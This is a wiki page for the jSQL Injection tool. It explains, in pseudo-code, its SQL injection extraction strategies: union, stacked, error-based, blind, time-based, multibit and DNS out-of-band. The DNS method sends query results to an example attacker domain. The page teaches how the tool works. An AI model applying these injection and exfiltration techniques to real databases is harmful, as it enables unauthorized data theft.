Skip to content

Strategy

ron190 edited this page Jun 25, 2026 · 34 revisions

💉jSQL is checking for the slowest to the fastest strategy in order to identify the best usable and to get rows efficiently.

The slowest strategy gets a single character bit-by-bit with 7 requests, the fastest strategy gets large chunks of text with a single query.

The simplest strategy shows the rows directly in the source page, the worst usable strategy does not even display anything.

Note

Create an issue to share additional strategies you know.

Tip

Switch to any confirmed strategy from the address bar menu, and compare how the process differs in the logs.

The following pseudo-code describes the extraction methods from the simplest to the most convoluted.


1. Union — union [select]

Union-based is the standard strategy that extracts the most chars with the least amount of queries.

Response from the target contains directly the SQL result, so the process is really fast.

select row then show row

↘️ ~100k chars in 1 request

2. Stack — ; [select]

Strategy is basically identical and as efficient as Union, though Stack feature is not proposed by all engines thus less frequently encountered. It can also trigger strategy Time.

select row then show row

↘️ ~100k chars in 1 request

3. Error — cast([select] as numeric)

Database engines may contain buggy syntax processor which can be triggered by a specific forged SQL query. The result appears directly in the error message returned by the database, however with a size usually reduced significantly.

Error strategy gets the SQL result directly in the response so it's still really efficient, particularly useful when Union strategy is not working, even for query whose purpose is not to return any result like INSERT, UPDATE and DELETE.

select row then show row in internal error message

↘️ ~100 chars in 1 request

4. Blind — and [select]=true

You may not get the result directly in the response for various reasons, nevertheless the target may still answer back to your query and display a specific given text for a specific query.

It means you can query the database and confirm or infirm any statement and receive the answer Yes or No, depending on the text existing in the response or not.

4.a Blind bit — in parallel

Given that each letter can be translated into its ASCII integer code, which in turn can be split into its binary components :

char:'a' ➡️ ascii:97 ➡️ bin:1100001

Then it means you can query the entire result bit-by-bit and char-by-char, even when the target does not return anything directly. It's significantly slower than Union or Error, though also faster than Blind bin as every bits can be fetched in parallel.

if Nth bit of ascii char X in the row is 1
then 🟢 show page A
else 🔴 show page B

↘️ Nth bit of ascii(X in the row) from 1 to 7 is 🟢 or 🔴 ?
➡️ pages:🟢;🟢;🔴;🔴;🔴;🔴;🟢 ➡️ bin:1100001 ➡️ ascii:97 ➡️ char:'a' in 7 requests

4.b Blind bin — in sequence

As any letter can be translated into its ASCII integer code from a range between 32 and 127, you can apply algorithm binary search instead of Blind bit to fetch results, for example when database does not provide bitwise feature.

So you test that the char is up or below the mid range boundary, then continue until the mid boundary is reduced to its minimum, to finally identify the char :

char:'a' ➡️ ascii:97 ➡️ bin search 97 in range 32 and 127 ?
32> 🟢mid>=79? >127 ➡️ 79> 🔴mid>=103? >127 ➡️ ... ➡️ 97> 🟢mid>=97? >97

So you query char-by-char but you wait for each boundary checks in sequence, as it prevents parallel execution.

if char X in range between low and high boundaries
then 🟢 show page A
else 🔴 show page B

↘️ ascii(X in the row) between low and high boundaries is 🟢 or 🔴 ?
➡️ pages:🟢➡️🔴➡️🟢➡️... ➡️ ascii:97 ➡️ char:'a' in 7 requests

5. Time — and if([select]=true, sleep())

When the target does not even return anything in the page, no SQL result, no specific text related to the query, you can still create statement confirmation for Yes or No using the delay required to answer.

Like Blind the entire result is built either bit-by-bit or by mid boundaries, it's also even slower than Blind and strongly depends on the network quality and on the target reliability, consequently corrupted chars are possible when loading time is not reliable.

5.a Time bit — in parallel

if Nth bit of ascii char X in the row is 1
then 🟢 sleep 5s
else 🔴 no sleep

5.b Time bin — in sequence

if char X in range between low and high boundaries
then 🟢 sleep 5s
else 🔴 no sleep

6. Multibit — url?id=[select]

Bitwise chars are processed more efficiently than Blind when get groups of bits, yet the target requires a set of 7 distinct responses to match any of the possible groups of triple Yes and No combination.

Typical use case is a market site loading pages by id and that returns distinct content for each id (eg. ?id=1, ?id=2, etc).

     if Nth bit-group of char X in row is 000 then 🔴🔴🔴 show page A
else if Nth bit-group of char X in row is 001 then 🔴🔴🟢 show page B
...
else if Nth bit-group of char X in row is 110 then 🟢🟢🔴 show page F
else if Nth bit-group of char X in row is 111 then 🟢🟢🟢 show page G

↘️ Nth bits-group of ascii(X in row) from 1 to 3 ?
➡️ pages:🔴🔴🟢;🟢🔴🔴;🔴🔴🟢 ➡️ bin:1100001 ➡️ ascii:97 ➡️ char:'a' in 3 requests

7. DNS — and call([select].bob.com)

This literal out-of-band strategy calls your web domain using SQL result as a subdomain, so your domain then forward the DNS query to your machine that runs a local DNS server embedded into jSQL to fetch the result.

Multiple factors are limiting the content like the domain length and chars, but aggregating all the chunks is still faster than querying all the bits.

To easily test the strategy locally on a compatible database like MySQL, just set your system DNS address to your own computer address instead of the usual box address.

graph LR
subgraph "Registrar<br>or Local DNS"
    registrar([bob.com<br>⬇️<br>1.2.3.4])
end
subgraph "Apache<br>PHP"
    mysql[(MySQL)]
end  
subgraph jSQL Injection on 1.2.3.4
    gui(GUI)
    direction TB
    model("💉Model")
    dns("Dns on :53")
end

gui -.-> model
mysql -. "call<br>mysql-v8.bob.com<br>2️⃣" .-> registrar
registrar -. forward<br>3️⃣ .-> dns
model -. "select version().bob.com<br>1️⃣" .-> mysql
dns -.-> model
Loading
select row and call dns domain then wait and read dns server logs

↘️ ~14 chars in 1 request

Summary

Speed Read
bits
Page
Diff
Show
rows
Show on
INSERT
Show on
UPDATE
Show on
DELETE
Show on
ORDER BY
Time bin 🐌🐌🐌
Time bit 🐌🐌🐌
Blind bin 🐌🐌
Blind bit 🐌🐌
Multibit 🐌
Dns
Error ⚡⚡
Stack ⚡⚡⚡ (✔)
Union ⚡⚡⚡

Other strategies (not implemented yet)

  • Position: get Boolean result from a limited chars map, reducing from 7 to 3 queries
  • Duality: combine Time with Blind to extract 2 bits directly
  • Ascii: convert each char to ASCII code and open matching page id similarly to Multibit

Previous topic: General, Next topic: Insight

Clone this wiki locally